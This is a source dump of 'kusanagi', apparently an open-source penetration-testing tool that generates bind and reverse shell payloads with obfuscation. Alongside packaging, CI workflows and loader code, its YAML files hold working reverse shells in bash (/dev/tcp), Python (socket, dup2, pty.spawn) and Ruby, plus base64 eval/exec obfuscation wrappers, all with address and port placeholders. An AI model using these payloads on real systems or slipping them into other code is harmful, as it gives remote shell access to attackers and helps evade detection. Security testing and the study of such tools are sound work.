├── kusanagi ├── core │ ├── __init__.py │ ├── helper │ │ └── __init__.py │ ├── payload │ │ ├── cmd │ │ │ ├── obfuscator │ │ │ │ ├── __init__.py │ │ │ │ └── validator.py │ │ │ ├── __init__.py │ │ │ └── revshell │ │ │ │ ├── __init__.py │ │ │ │ └── validator.py │ │ ├── code │ │ │ ├── obfuscator │ │ │ │ ├── __init__.py │ │ │ │ └── validator.py │ │ │ ├── __init__.py │ │ │ └── revshell │ │ │ │ ├── __init__.py │ │ │ │ └── validator.py │ │ └── __init__.py │ ├── loader │ │ ├── template │ │ │ └── __init__.py │ │ ├── yaml │ │ │ ├── __init__.py │ │ │ ├── loader.py │ │ │ └── validator.py │ │ └── __init__.py │ ├── sorter │ │ └── __init__.py │ ├── output │ │ ├── printer │ │ │ └── __init__.py │ │ ├── clipboard │ │ │ └── __init__.py │ │ ├── encoder │ │ │ └── __init__.py │ │ └── __init__.py │ ├── parser │ │ ├── __init__.py │ │ └── function.py │ └── filter │ │ └── __init__.py ├── defaults.py ├── files │ ├── code │ │ ├── revshells │ │ │ ├── bash.yml │ │ │ ├── python.yml │ │ │ ├── ruby.yml │ │ │ └── php.yml │ │ └── obfuscators │ │ │ ├── bash.yml │ │ │ ├── python.yml │ │ │ └── php.yml │ └── cmd │ │ ├── revshells │ │ └── bash.yml │ │ └── obfuscators │ │ └── bash-gnu.yml ├── __init__.py └── args.py ├── requirements.txt ├── doc └── screenshot01.png ├── .yamllint ├── bin ├── README.md └── kusa ├── .editorconfig ├── .gitignore ├── .github └── workflows │ ├── code-black.yml │ ├── code-mypy.yml │ ├── code-pylint.yml │ ├── code-pydocstyle.yml │ ├── code-pycodestyle.yml │ ├── testing.yml │ ├── linting.yml │ ├── building.yml │ └── codeql-analysis.yml ├── LICENSE.txt ├── setup.cfg ├── setup.py ├── Makefile └── README.md /kusanagi/core/__init__.py: -------------------------------------------------------------------------------- 1 | """Empty.""" 2 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | PyYAML 2 | pyperclip>=1.8.2 3 | termcolor>=1.1.0 4 | -------------------------------------------------------------------------------- /doc/screenshot01.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cytopia/kusanagi/master/doc/screenshot01.png -------------------------------------------------------------------------------- /.yamllint: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | extends: default 4 | 5 | rules: 6 | line-length: 7 | max: 100 8 | truthy: disable 9 | -------------------------------------------------------------------------------- /bin/README.md: -------------------------------------------------------------------------------- 1 | # `bin/` directory 2 | 3 | 4 | This directory contains a Python wrapper to execute the code in `kusanagi/` package directory. 5 | 6 | * It is not the final produced artifact. 7 | * Do not copy this file somewhere else (it won't work) 8 | * Use `setup.py` or `pip` for installation 9 | -------------------------------------------------------------------------------- /bin/kusa: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import sys 5 | import pathlib 6 | 7 | # Get absolute path of root of this git directory 8 | path_here = pathlib.Path(__file__).parent.absolute() 9 | path_root = os.path.join(path_here, os.pardir) 10 | sys.path.append(path_root) 11 | 12 | # Import our package 13 | import kusanagi 14 | 15 | 16 | # Run main function 17 | kusanagi.main() 18 | -------------------------------------------------------------------------------- /kusanagi/core/helper/__init__.py: -------------------------------------------------------------------------------- 1 | """This module provides helper functions.""" 2 | 3 | from typing import List 4 | 5 | 6 | def intersect(list1: List[str], list2: List[str]) -> List[str]: 7 | """Returns the intersection of two lists of strings.""" 8 | return list(set(list1) & set(list2)) 9 | 10 | 11 | def unique(list1: List[str]) -> List[str]: 12 | """Returns a list with unique items.""" 13 | return list(set(list1)) 14 | -------------------------------------------------------------------------------- /.editorconfig: -------------------------------------------------------------------------------- 1 | # top-most EditorConfig file 2 | root = true 3 | 4 | # Default for all files 5 | [*] 6 | charset = utf-8 7 | end_of_line = lf 8 | insert_final_newline = true 9 | trim_trailing_whitespace = true 10 | 11 | # Custom files 12 | [*.py] 13 | indent_style = space 14 | indent_size = 4 15 | 16 | [Makefile] 17 | indent_style = tab 18 | indent_size = 4 19 | 20 | [*.{yml,yaml}] 21 | indent_style = space 22 | indent_size = 2 23 | 24 | [*.md] 25 | indent_style = space 26 | trim_trailing_whitespace = false 27 | indent_size = 2 28 | -------------------------------------------------------------------------------- /kusanagi/core/payload/cmd/obfuscator/__init__.py: -------------------------------------------------------------------------------- 1 | """Obfuscator module.""" 2 | from typing import List, Dict, Any 3 | import copy 4 | 5 | from .validator import VALIDATOR 6 | from ....loader import load 7 | 8 | # Available obfuscator files 9 | OBFUSCATOR_FILES = [ 10 | "bash-gnu.yml", 11 | ] 12 | 13 | OBFUSCATOR_SUBDIRS = ["cmd", "obfuscators"] 14 | 15 | 16 | def get_obfuscators() -> List[Dict[str, Any]]: 17 | """Returns list of unparsed obfuscators.""" 18 | return load(OBFUSCATOR_FILES, OBFUSCATOR_SUBDIRS, VALIDATOR) 19 | -------------------------------------------------------------------------------- /kusanagi/defaults.py: -------------------------------------------------------------------------------- 1 | """This file defines all module wide default values.""" 2 | 3 | 4 | # Default remote settings 5 | DEF_PORT = 4444 6 | 7 | 8 | # Available templates 9 | DEF_TEMPLATES = [ 10 | "reverse", 11 | "bind", 12 | ] 13 | 14 | 15 | # Credits 16 | DEF_BIN = "kusa" 17 | DEF_NAME = "kusanagi" 18 | DEF_DESC = ( 19 | "Kusanagi is a bind and reverse shell payload generator with obfuscation and badchar support." 20 | ) 21 | DEF_VERSION = "0.0.5" 22 | DEF_AUTHOR = "cytopia" 23 | DEF_GITHUB = "https://github.com/cytopia/kusanagi" 24 | -------------------------------------------------------------------------------- /kusanagi/core/payload/code/obfuscator/__init__.py: -------------------------------------------------------------------------------- 1 | """Obfuscator module.""" 2 | from typing import List, Dict, Any 3 | import copy 4 | 5 | from .validator import VALIDATOR 6 | from ....loader import load 7 | 8 | # Available obfuscator files 9 | OBFUSCATOR_FILES = [ 10 | "bash.yml", 11 | "php.yml", 12 | "python.yml", 13 | ] 14 | 15 | OBFUSCATOR_SUBDIRS = ["code", "obfuscators"] 16 | 17 | 18 | def get_obfuscators() -> List[Dict[str, Any]]: 19 | """Returns list of unparsed obfuscators.""" 20 | return load(OBFUSCATOR_FILES, OBFUSCATOR_SUBDIRS, VALIDATOR) 21 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # -------------------------------------------------------------------------------------------------- 2 | # Python cache 3 | # -------------------------------------------------------------------------------------------------- 4 | __pycache__ 5 | *.pyc 6 | 7 | 8 | # -------------------------------------------------------------------------------------------------- 9 | # Build artifacts 10 | # -------------------------------------------------------------------------------------------------- 11 | .mypy_cache/* 12 | kusanagi.egg-info/ 13 | env/ 14 | build/ 15 | dist/ 16 | venv/ 17 | -------------------------------------------------------------------------------- /.github/workflows/code-black.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Code style 5 | ### 6 | 7 | name: black 8 | on: 9 | pull_request: 10 | push: 11 | branches: 12 | - master 13 | tags: 14 | 15 | jobs: 16 | lint: 17 | runs-on: ubuntu-latest 18 | strategy: 19 | fail-fast: False 20 | matrix: 21 | target: 22 | - black 23 | name: "[ ${{ matrix.target }} ]" 24 | steps: 25 | - name: Checkout repository 26 | uses: actions/checkout@master 27 | 28 | - name: "${{ matrix.target }}" 29 | run: | 30 | make _code-${{ matrix.target }} 31 | -------------------------------------------------------------------------------- /.github/workflows/code-mypy.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Code style 5 | ### 6 | 7 | name: mypy 8 | on: 9 | pull_request: 10 | push: 11 | branches: 12 | - master 13 | tags: 14 | 15 | jobs: 16 | lint: 17 | runs-on: ubuntu-latest 18 | strategy: 19 | fail-fast: False 20 | matrix: 21 | target: 22 | - mypy 23 | name: "[ ${{ matrix.target }} ]" 24 | steps: 25 | - name: Checkout repository 26 | uses: actions/checkout@master 27 | 28 | - name: "${{ matrix.target }}" 29 | run: | 30 | make _code-${{ matrix.target }} 31 | -------------------------------------------------------------------------------- /.github/workflows/code-pylint.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Code style 5 | ### 6 | 7 | name: pylint 8 | on: 9 | pull_request: 10 | push: 11 | branches: 12 | - master 13 | tags: 14 | 15 | jobs: 16 | lint: 17 | runs-on: ubuntu-latest 18 | strategy: 19 | fail-fast: False 20 | matrix: 21 | target: 22 | - pylint 23 | name: "[ ${{ matrix.target }} ]" 24 | steps: 25 | - name: Checkout repository 26 | uses: actions/checkout@master 27 | 28 | - name: "${{ matrix.target }}" 29 | run: | 30 | make _code-${{ matrix.target }} 31 | -------------------------------------------------------------------------------- /.github/workflows/code-pydocstyle.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Code style 5 | ### 6 | 7 | name: pydoc 8 | on: 9 | pull_request: 10 | push: 11 | branches: 12 | - master 13 | tags: 14 | 15 | jobs: 16 | lint: 17 | runs-on: ubuntu-latest 18 | strategy: 19 | fail-fast: False 20 | matrix: 21 | target: 22 | - pydocstyle 23 | name: "[ ${{ matrix.target }} ]" 24 | steps: 25 | - name: Checkout repository 26 | uses: actions/checkout@master 27 | 28 | - name: "${{ matrix.target }}" 29 | run: | 30 | make _code-${{ matrix.target }} 31 | -------------------------------------------------------------------------------- /.github/workflows/code-pycodestyle.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Code style 5 | ### 6 | 7 | name: pycode 8 | on: 9 | pull_request: 10 | push: 11 | branches: 12 | - master 13 | tags: 14 | 15 | jobs: 16 | lint: 17 | runs-on: ubuntu-latest 18 | strategy: 19 | fail-fast: False 20 | matrix: 21 | target: 22 | - pycodestyle 23 | name: "[ ${{ matrix.target }} ]" 24 | steps: 25 | - name: Checkout repository 26 | uses: actions/checkout@master 27 | 28 | - name: "${{ matrix.target }}" 29 | run: | 30 | make _code-${{ matrix.target }} 31 | -------------------------------------------------------------------------------- /kusanagi/core/loader/template/__init__.py: -------------------------------------------------------------------------------- 1 | """Module that returns template directories.""" 2 | 3 | from typing import List 4 | import os 5 | import pathlib 6 | 7 | 8 | TEMPLATE_DIR = "files" 9 | 10 | 11 | def get_template_dir(dirs: List[str] = []) -> pathlib.PurePath: 12 | """Returns absolute path of template dir.""" 13 | path = pathlib.PurePath(__file__) 14 | path = path.parent 15 | path = path.parent 16 | path = path.parent 17 | path = path.parent 18 | path = path.joinpath(TEMPLATE_DIR) 19 | # Add specified sub directories (if any) 20 | for subdir in dirs: 21 | path = path.joinpath(subdir) 22 | return path 23 | -------------------------------------------------------------------------------- /kusanagi/core/payload/cmd/__init__.py: -------------------------------------------------------------------------------- 1 | """Code Module.""" 2 | from typing import List, Dict, Any 3 | 4 | from .revshell import get_revshells 5 | 6 | 7 | def get_items(payload: str, obfuscated: bool, options: Dict[str, Any]) -> List[Dict[str, Any]]: 8 | """Returns list of payload items by 'payload' type with corresponding payload options. 9 | 10 | Args: 11 | payload (str): Payload type (revshell, bindshell) 12 | options (dict): Payload options for the corresponding type. 13 | 14 | Returns: 15 | List[dict]: List of payload items. 16 | """ 17 | if payload == "revshell": 18 | return get_revshells(options["addr"], options["port"], obfuscated) 19 | return [] 20 | -------------------------------------------------------------------------------- /kusanagi/core/payload/code/__init__.py: -------------------------------------------------------------------------------- 1 | """Code Module.""" 2 | from typing import List, Dict, Any 3 | 4 | from .revshell import get_revshells 5 | 6 | 7 | def get_items(payload: str, obfuscated: bool, options: Dict[str, Any]) -> List[Dict[str, Any]]: 8 | """Returns list of payload items by 'payload' type with corresponding payload options. 9 | 10 | Args: 11 | payload (str): Payload type (revshell, bindshell) 12 | options (dict): Payload options for the corresponding type. 13 | 14 | Returns: 15 | List[dict]: List of payload items. 16 | """ 17 | if payload == "revshell": 18 | return get_revshells(options["addr"], options["port"], obfuscated) 19 | return [] 20 | -------------------------------------------------------------------------------- /kusanagi/core/sorter/__init__.py: -------------------------------------------------------------------------------- 1 | """Module to sort payloads on their given options.""" 2 | from typing import List, Dict, Any 3 | 4 | 5 | def sort_by_default(payloads: List[Dict[str, Any]]) -> List[Dict[str, Any]]: 6 | """Sort payloads by rating and then length length.""" 7 | return sorted(payloads, key=lambda k: (int(k["rating"]), len(k["payload"])), reverse=True) 8 | 9 | 10 | def sort_by_length(payloads: List[Dict[str, Any]]) -> List[Dict[str, Any]]: 11 | """Sort payloads by length.""" 12 | return sorted(payloads, key=lambda k: len(k["payload"]), reverse=True) 13 | 14 | 15 | def sort_by_rating(payloads: List[Dict[str, Any]]) -> List[Dict[str, Any]]: 16 | """Sort payloads by rating.""" 17 | return sorted(payloads, key=lambda k: int(k["rating"]), reverse=True) 18 | -------------------------------------------------------------------------------- /.github/workflows/testing.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Lints all generic and json files in the whole git repository 5 | ### 6 | 7 | name: testing 8 | on: 9 | pull_request: 10 | push: 11 | branches: 12 | - master 13 | tags: 14 | 15 | jobs: 16 | test: 17 | runs-on: ubuntu-latest 18 | strategy: 19 | fail-fast: False 20 | matrix: 21 | version: 22 | - '3.6' 23 | - '3.7' 24 | - '3.8' 25 | - '3.9' 26 | 27 | name: "[${{ matrix.version }}]" 28 | steps: 29 | - name: Checkout repository 30 | uses: actions/checkout@master 31 | 32 | - name: Build source distribution 33 | run: | 34 | make test PYTHON_VERSION=${version} 35 | env: 36 | version: ${{ matrix.version }} 37 | -------------------------------------------------------------------------------- /.github/workflows/linting.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Lints all generic and json files in the whole git repository 5 | ### 6 | 7 | name: linting 8 | on: 9 | pull_request: 10 | push: 11 | branches: 12 | - master 13 | tags: 14 | 15 | jobs: 16 | lint: 17 | runs-on: ubuntu-latest 18 | strategy: 19 | fail-fast: False 20 | matrix: 21 | target: 22 | - Linting 23 | name: "[ ${{ matrix.target }} ]" 24 | steps: 25 | - name: Checkout repository 26 | uses: actions/checkout@master 27 | 28 | - name: Lint files 29 | run: | 30 | make _lint-files 31 | 32 | - name: "Check version" 33 | run: | 34 | make _lint-version 35 | 36 | - name: "Check binary name" 37 | run: | 38 | make _lint-bin-name 39 | 40 | - name: "Check package name" 41 | run: | 42 | make _lint-pkg-name 43 | 44 | - name: "Check description" 45 | run: | 46 | make _lint-description 47 | 48 | 49 | -------------------------------------------------------------------------------- /kusanagi/files/code/revshells/bash.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Meta definitions 5 | ### 6 | specification: 7 | payload: code 8 | type: revshell 9 | version: 0.0.1 10 | 11 | 12 | ### 13 | ### Items 14 | ### 15 | items: 16 | 17 | - name: bash-sh-dev-tcp 18 | desc: description 19 | info: 20 | - BSD don't have bash installed by default 21 | - Solaris doesn't have bash installed by default 22 | rating: 1 23 | code: 24 | language: bash 25 | requires: 26 | version: [] # Works on any version of bash 27 | commands: ["sh"] # Will execute sh 28 | functions: [] # No functions used 29 | modules: [] # No modules used 30 | os: ["bsd", "linux", "mac", "solaris"] # Works on *nix only (due to/bin/sh) 31 | revshell: 32 | proto: tcp 33 | shell: sh 34 | command: "/bin/sh" 35 | payload: | 36 | /bin/sh>&/dev/tcp/__ADDR__/__PORT__ 0>&1 37 | -------------------------------------------------------------------------------- /kusanagi/core/output/printer/__init__.py: -------------------------------------------------------------------------------- 1 | """Module to print to terminal with or without colors.""" 2 | 3 | from typing import Optional, Any 4 | import sys 5 | 6 | from termcolor import cprint 7 | 8 | 9 | class Printer: 10 | """stdout, stderr print class with color support.""" 11 | 12 | def __init__(self, colored: bool) -> None: 13 | self.__colored = colored 14 | 15 | def stderr(self, text: str, color: Optional[str] = None, **kwargs: Any) -> None: 16 | """Print to stderr with or without color depending on instance settings.""" 17 | if self.__colored: 18 | cprint(text, color, file=sys.stderr, **kwargs) 19 | else: 20 | print(text, file=sys.stderr, **kwargs) 21 | 22 | def stdout(self, text: str, color: Optional[str] = None, **kwargs: Any) -> None: 23 | """Print to stdout with or without color depending on instance settings.""" 24 | if self.__colored: 25 | cprint(text, color, **kwargs) 26 | else: 27 | print(text, **kwargs) 28 | -------------------------------------------------------------------------------- /kusanagi/files/code/obfuscators/bash.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Meta definitions 5 | ### 6 | specification: 7 | payload: code 8 | type: obfuscator 9 | version: 0.0.1 10 | 11 | 12 | ### 13 | ### Items 14 | ### 15 | items: 16 | 17 | - name: bash-eval-base64-func 18 | desc: desc 19 | info: [] 20 | code: 21 | language: bash 22 | requires: 23 | version: [] 24 | commands: [base64] 25 | functions: ["eval"] 26 | modules: [] 27 | os: ["bsd", "linux", "mac", "solaris", "windows"] 28 | payload: | 29 | eval $(echo __CODE__|base64 -d) 30 | 31 | 32 | - name: bash-eval-base64-backtick 33 | desc: desc 34 | info: [] 35 | code: 36 | language: bash 37 | requires: 38 | version: [] 39 | commands: [base64] 40 | functions: ["eval"] 41 | modules: [] 42 | os: ["bsd", "linux", "mac", "solaris", "windows"] 43 | payload: | 44 | eval `echo __CODE__|base64 -d` 45 | -------------------------------------------------------------------------------- /kusanagi/files/code/obfuscators/python.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Meta definitions 5 | ### 6 | specification: 7 | payload: code 8 | type: obfuscator 9 | version: 0.0.1 10 | 11 | 12 | ### 13 | ### Items 14 | ### 15 | items: 16 | 17 | - name: python-eval-base64 18 | desc: desc 19 | info: [] 20 | code: 21 | language: python 22 | requires: 23 | version: [2, 3] 24 | commands: [] 25 | functions: ["exec", "base64decode"] 26 | modules: ["base64"] 27 | os: ["bsd", "linux", "mac", "windows"] 28 | payload: | 29 | import base64; 30 | exec(base64.b64decode("__CODE__")) 31 | 32 | 33 | - name: python-exec-hex 34 | desc: desc 35 | info: [] 36 | code: 37 | language: python 38 | requires: 39 | version: [3] 40 | commands: [] 41 | functions: ["exec", "base64decode"] 42 | modules: ["base64"] 43 | os: ["bsd", "linux", "mac", "windows"] 44 | payload: | 45 | exec(b"__CODE__".decode("utf-8")) 46 | -------------------------------------------------------------------------------- /kusanagi/files/code/revshells/python.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Meta definitions 5 | ### 6 | specification: 7 | payload: code 8 | type: revshell 9 | version: 0.0.1 10 | 11 | 12 | ### 13 | ### Code array 14 | ### 15 | items: 16 | 17 | - name: python-fsockopen 18 | desc: description 19 | info: [] 20 | rating: 1 21 | code: 22 | language: python 23 | requires: 24 | version: [2, 3] 25 | commands: ["sh"] # Used shell commands 26 | functions: ["socket", "connect", "dup2", "spawn", "fsockopen", "popen"] 27 | modules: ["socket", "subprocess", "os", "pty"] 28 | os: ["bsd", "linux", "mac"] # Works on these operating systems 29 | revshell: 30 | proto: tcp 31 | shell: sh 32 | command: "/bin/sh" 33 | payload: | 34 | import socket,subprocess,os,pty; 35 | s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); 36 | s.connect(("__ADDR__",__PORT__)); 37 | os.dup2(s.fileno(),0); 38 | os.dup2(s.fileno(),1); 39 | os.dup2(s.fileno(),2); 40 | pty.spawn("/bin/sh"); 41 | -------------------------------------------------------------------------------- /kusanagi/files/code/revshells/ruby.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Meta definitions 5 | ### 6 | specification: 7 | payload: code 8 | type: revshell 9 | version: 0.0.1 10 | 11 | 12 | ### 13 | ### Code array 14 | ### 15 | items: 16 | 17 | - name: ruby-no-sh 18 | desc: description 19 | info: [] 20 | rating: 1 21 | code: 22 | language: ruby 23 | requires: 24 | version: [] 25 | commands: [] # Used shell commands 26 | functions: ["puts", "popen", "print", "read", "chomp", "new", "chdir"] 27 | modules: ["socket"] 28 | os: ["bsd", "linux", "mac"] # Works on these operating systems 29 | revshell: 30 | proto: tcp 31 | shell: sh 32 | command: null 33 | payload: | 34 | require "socket"; 35 | exit if fork; 36 | c=TCPSocket.new("__ADDR__","__PORT__"); 37 | loop{ 38 | c.gets.chomp!; 39 | ( 40 | exit! if $_=="exit" 41 | ); 42 | ( 43 | $_=~/cd (.+)/i?(Dir.chdir($1)):(IO.popen($_,?r){|io|c.print io.read}) 44 | )rescue c.puts "failed: #{$_}" 45 | } 46 | -------------------------------------------------------------------------------- /kusanagi/core/output/clipboard/__init__.py: -------------------------------------------------------------------------------- 1 | """Clipboard module.""" 2 | 3 | import pyperclip # type: ignore 4 | 5 | # IMPORTANT: 6 | # On Windows, no additional modules are needed. 7 | # 8 | # On Mac, this module makes use of the pbcopy and pbpaste commands, which should come with the os. 9 | # 10 | # On Linux, this module makes use of the xclip or xsel commands, which should come with the os. 11 | # Otherwise run “sudo apt-get install xclip” or “sudo apt-get install xsel” 12 | # (Note: xsel does not always seem to work.) 13 | # 14 | # Otherwise on Linux, you will need the gtk or PyQt4 modules installed. 15 | 16 | 17 | def copy_to_clipboard(data: str) -> None: 18 | """Copy text to clipboard. 19 | 20 | Raises: 21 | OSError if clipboard fails. 22 | """ 23 | try: 24 | # Need to copy to secondary first (due to lazy loading) 25 | # And then the 'primary=' key is available. 26 | # https://github.com/asweigart/pyperclip/issues/190 27 | pyperclip.copy(data) 28 | pyperclip.copy(data, primary=True) 29 | except pyperclip.PyperclipException as error: 30 | raise OSError(error) from error 31 | -------------------------------------------------------------------------------- /LICENSE.txt: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 cytopia 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /kusanagi/core/loader/yaml/__init__.py: -------------------------------------------------------------------------------- 1 | """Module to load and validate a yaml configuration file.""" 2 | 3 | from typing import Dict, Any 4 | from pathlib import PurePath 5 | 6 | from .loader import _load 7 | from .validator import _validate_requirements 8 | from .validator import _validate_invalid_keys 9 | 10 | 11 | def load(path: PurePath, validator: Dict[str, Any]) -> Dict[str, Any]: 12 | """Load yaml file by path and return it as Python dictionary. 13 | 14 | Args: 15 | path (str): Path to yaml file. 16 | validator: (Dict[Any, Any]): Yaml dict used to validate a loaded yaml file against. 17 | 18 | Raises: 19 | OSError: If yaml file cannot be found or read (permission-wise). 20 | KeyError: If yaml file cannot be parsed or is not valid for its validator. 21 | """ 22 | data = _load(path) 23 | try: 24 | _validate_requirements("", data, validator) # Ensure all keys are defined 25 | _validate_invalid_keys("", data, validator) # Ensure no extra keys are defined 26 | except KeyError as error: 27 | message = error.args[0] 28 | raise KeyError(f"{message}\nIn file:{path}") from error 29 | return data 30 | -------------------------------------------------------------------------------- /kusanagi/core/loader/yaml/loader.py: -------------------------------------------------------------------------------- 1 | """Load a yaml file.""" 2 | 3 | from typing import Dict, Any 4 | 5 | from pathlib import PurePath 6 | import errno 7 | import os 8 | import yaml 9 | 10 | 11 | def _load(path: PurePath) -> Dict[str, Any]: 12 | """Load yaml file by path and return it as Python dictionary. 13 | 14 | Args: 15 | path (str): Path to yaml file. 16 | 17 | Returns: 18 | dict: Python dict from yaml file. 19 | 20 | Raises: 21 | OSError: If file not found or yaml cannot be read. 22 | KeyError: If file cannot be parsed. 23 | """ 24 | try: 25 | file_p = open(os.fspath(path)) 26 | except FileNotFoundError as err_file: 27 | error = os.strerror(errno.ENOENT) 28 | raise OSError(f"[ERROR] File does not exist: {path}\n{error}") from err_file 29 | except PermissionError as err_perm: 30 | error = os.strerror(errno.EACCES) 31 | raise OSError(f"[ERROR] No permission to load file form: {path}\n{error}") from err_perm 32 | else: 33 | try: 34 | return dict(yaml.safe_load(file_p)) 35 | except yaml.YAMLError as err_yaml: 36 | error = str(err_yaml) 37 | raise KeyError(f"[ERROR]: {path}\n{error}") from err_yaml 38 | finally: 39 | file_p.close() 40 | -------------------------------------------------------------------------------- /.github/workflows/building.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Lints all generic and json files in the whole git repository 5 | ### 6 | 7 | name: building 8 | on: 9 | pull_request: 10 | push: 11 | branches: 12 | - master 13 | tags: 14 | 15 | jobs: 16 | build: 17 | runs-on: ubuntu-latest 18 | strategy: 19 | fail-fast: False 20 | matrix: 21 | version: 22 | - '3.6' 23 | - '3.7' 24 | - '3.8' 25 | - '3.9' 26 | 27 | name: "[${{ matrix.version }}]" 28 | steps: 29 | - name: Checkout repository 30 | uses: actions/checkout@master 31 | 32 | - name: Build source distribution 33 | run: | 34 | make _build-source_dist PYTHON_VERSION=${version} 35 | env: 36 | version: ${{ matrix.version }} 37 | 38 | - name: Build binary distribution 39 | run: | 40 | make _build-binary_dist PYTHON_VERSION=${version} 41 | env: 42 | version: ${{ matrix.version }} 43 | 44 | - name: Build Python package 45 | run: | 46 | make _build-python_package PYTHON_VERSION=${version} 47 | env: 48 | version: ${{ matrix.version }} 49 | 50 | - name: Check Python package 51 | run: | 52 | make _build-check_python_package PYTHON_VERSION=${version} 53 | env: 54 | version: ${{ matrix.version }} 55 | -------------------------------------------------------------------------------- /kusanagi/core/loader/__init__.py: -------------------------------------------------------------------------------- 1 | """Module to load items from path of files.""" 2 | 3 | from typing import List, Dict, Any 4 | import sys 5 | 6 | from . import yaml 7 | from . import template 8 | 9 | 10 | def load(files: List[str], subdirs: List[str], validator: Dict[str, Any]) -> List[Dict[str, Any]]: 11 | """Load available payloads from givesn list of files&subdirs and validate them. 12 | 13 | Args: 14 | files: List of file names. 15 | subdirs: List of subdirs to traverse into. 16 | validator: Dictionary to validate yaml against. 17 | 18 | Returns: 19 | List[dict]: List of loaded and validated items. 20 | 21 | Raises: 22 | OSError: If yaml file cannot be found or read (permission-wise). 23 | KeyError: If yaml file cannot be parsed or is not valid for its validator. 24 | """ 25 | items = [] 26 | paths = [] 27 | 28 | for name in files: 29 | temp = subdirs[:] # Make a copy of subdirs 30 | temp.append(name) # Append name to subdirs 31 | paths.append(template.get_template_dir(temp)) 32 | 33 | for path in paths: 34 | # Load yaml file and validate 35 | try: 36 | data = yaml.load(path, validator) 37 | except OSError as error: 38 | print(error.args[0], file=sys.stderr) 39 | sys.exit(1) 40 | except KeyError as error: 41 | print(error.args[0], file=sys.stderr) 42 | sys.exit(1) 43 | 44 | for item in data["items"]: 45 | # Append list items 46 | items.append(item) 47 | return items 48 | -------------------------------------------------------------------------------- /kusanagi/files/cmd/revshells/bash.yml: -------------------------------------------------------------------------------- 1 | --- 2 | 3 | ### 4 | ### Meta definitions 5 | ### 6 | specification: 7 | payload: cmd 8 | type: revshell 9 | version: 0.0.1 10 | 11 | 12 | ### 13 | ### Items 14 | ### 15 | items: 16 | 17 | - name: bash-sh-tcp 18 | desc: TCP reverse shell with bash|sh|zsh initiated from within a bash shell 19 | info: 20 | - Can be executed from within any shell 21 | rating: 1 22 | meta: 23 | author: cytopia 24 | editors: ["cytopia"] 25 | created: "2021-04-08" 26 | modified: "2021-04-08" 27 | version: 0.0.1 28 | cmd: 29 | executable: bash 30 | requires: 31 | commands: ["sh", "bash"] 32 | shell_env: ["bash", "csh", "dash", "ksh", "sh", "tcsh", "zsh"] 33 | os: ["bsd", "linux", "mac", "solaris"] 34 | revshell: 35 | proto: tcp 36 | shell: sh 37 | command: /bin/sh 38 | payload: | 39 | bash -c '/bin/sh>&/dev/tcp/__ADDR__/__PORT__ 0>&1' 40 | 41 | 42 | - name: bash-sh-tcp 43 | desc: TCP reverse shell with bash|sh|zsh initiated from within a bash shell 44 | info: 45 | - Must be executed from within a bash shell ('/dev/tcp/' is bash specific) 46 | rating: 1 47 | meta: 48 | author: cytopia 49 | editors: ["cytopia"] 50 | created: "2021-04-08" 51 | modified: "2021-04-08" 52 | version: 0.0.1 53 | cmd: 54 | executable: sh 55 | requires: 56 | commands: ["sh"] 57 | shell_env: ["bash"] 58 | os: ["bsd", "linux", "mac", "solaris"] 59 | revshell: 60 | proto: tcp 61 | shell: sh 62 | command: /bin/sh 63 | payload: | 64 | /bin/sh>&/dev/tcp/__ADDR__/__PORT__ 0>&1 65 | -------------------------------------------------------------------------------- /.github/workflows/codeql-analysis.yml: -------------------------------------------------------------------------------- 1 | name: "CodeQL" 2 | 3 | on: 4 | push: 5 | branches: [ master ] 6 | pull_request: 7 | # The branches below must be a subset of the branches above 8 | branches: [ master ] 9 | schedule: 10 | - cron: '42 6 * * 1' 11 | 12 | jobs: 13 | analyze: 14 | name: Analyze 15 | runs-on: ubuntu-latest 16 | 17 | strategy: 18 | fail-fast: false 19 | matrix: 20 | language: [ 'python' ] 21 | # Learn more: 22 | # https://docs.github.com/en/free-pro-team@latest/github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning#changing-the-languages-that-are-analyzed 23 | 24 | steps: 25 | - name: Checkout repository 26 | uses: actions/checkout@v2 27 | 28 